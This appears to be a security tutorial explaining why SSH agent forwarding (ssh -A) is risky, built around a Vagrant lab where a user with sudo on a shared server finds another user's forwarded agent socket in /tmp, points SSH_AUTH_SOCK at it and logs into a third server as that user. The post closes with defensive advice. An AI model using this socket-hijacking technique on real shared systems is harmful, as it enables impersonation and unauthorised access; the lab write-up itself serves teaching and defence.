What’s the authentication agent forwarding for?
Let’s start showing what
man ssh says about it:
-AEnables forwarding of the authentication agent connection. This can also be specified on a per-host basis in a configuration file. Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent’s UNIX-domain socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent.
It tries to solve the following problem:
Laptop -> Server A -> Server B
User wants to connect to Server A and from Server A to Server B forwarding all authentication requests to Laptop.
How do we use it?
user@laptop$ ssh -A serverA user@serverA$ ssh serverB user@serverB$
So, when is ssh -A insecure?
The man page has the following note:
Agent forwarding should be enabled with caution.
So, we have to be careful with this option, but what are the problems?
With the intention of gaining more insight about the problem. We’ll do an experiment, we’ll set up a scenario that is far from ideal but it’s simple enough to reproduce the problem.
To follow this experiment you’ll need to have vagrant installed in your computer. You don’t need to have previous knowledge of vagrant to follow the experiment. All the config files used in this experiment can be found here.
Let’s start building a topology from scratch.
The topology will include 3 virtual servers and our own machine:
- web (172.17.8.101)
- worker (172.17.8.102)
- secret (172.17.8.110)
- Alice (Good)
- Eve (Bad)
- The host machine is our machine where we will create the network topology using virtual machines
- The web server is a virtual machine that will emulate a server accessible from the internet.
- The worker server is a virtual machine that will emulate a server accessible only from the web server.
- The secret server is a virtual machine that will emulate a server accessible only by Alice from the internet.
Let’s start the servers with
host$ vagrant up (This can take a while…)
First let’s add all the keys to the ssh agent of the host machine
me@host$ ssh-add alice_id_rsa me@host$ ssh-add eve_id_rsa
Now we’ll open a new terminal and emulate that Alice is working on the worker server
Note that for this experiment we set up another instance of the ssh daemon in port 2222 in order to avoid messing with the default ssh server and Vagrant configurations, please check the config files.
me@host$ ssh -A -i alice_id_rsa -p 2222 firstname.lastname@example.org alice@web:~$ ssh -p 2222 172.17.8.102 alice@worker:~$
Now on other terminal let’s pretend to be Eve
me@host$ ssh -i eve_id_rsa -p 2222 email@example.com
Eve will not use
-A options because she doesn’t need to use the
Eve finds out that alice is connected
eve@web:~$ ps -aux | grep sshd | grep alice root 2469 0.0 0.8 107696 4252 ? Ss 21:49 0:00 sshd: alice [priv] alice 2522 0.0 0.3 107696 1952 ? S 21:49 0:00 sshd: alice@pts/1 eve@web:~$
And she also finds out that Alice is using
-A because a socket
file was generated in /tmp/ssh-*
eve@web:~$ ls -lha /tmp/ total 24K drwxrwxrwt 5 root root 4.0K Jan 19 21:55 . drwxr-xr-x 23 root root 4.0K Jan 19 21:34 .. drwxrwxrwt 2 root root 4.0K Jan 19 21:34 .ICE-unix drwx------ 2 alice alice 4.0K Jan 19 21:49 ssh-xeIzefGEYs -rwx--x--x 1 vagrant vagrant 676 Jan 19 21:34 vagrant-shell drwxrwxrwt 2 root root 4.0K Jan 19 21:34 .X11-unix eve@web:~$
Eve now becomes root and impersonate into Alice.
eve@web:~$ sudo su #eve123 root@web:/home/eve# export SSH_AUTH_SOCK=/tmp/ssh-xeIzefGEYs/agent.2522 root@web:/home/eve# ssh -p 2222 firstname.lastname@example.org alice@secret:~$
So, with this simple steps now Eve is connected to secret machine as Alice.
It’s not unusual for users to have sudo permissions on shared
environments so you should avoid using
-A option if you don’t trust that system. One
alternative could be to use
ProxyCommand instead of
-A like it
But in case you have to use the
-A option and you don’t trust the
sudoers of the shared system, create
a new pair of private and public keys for those servers,
in this way you’ll reduce the risk of
compromising other servers.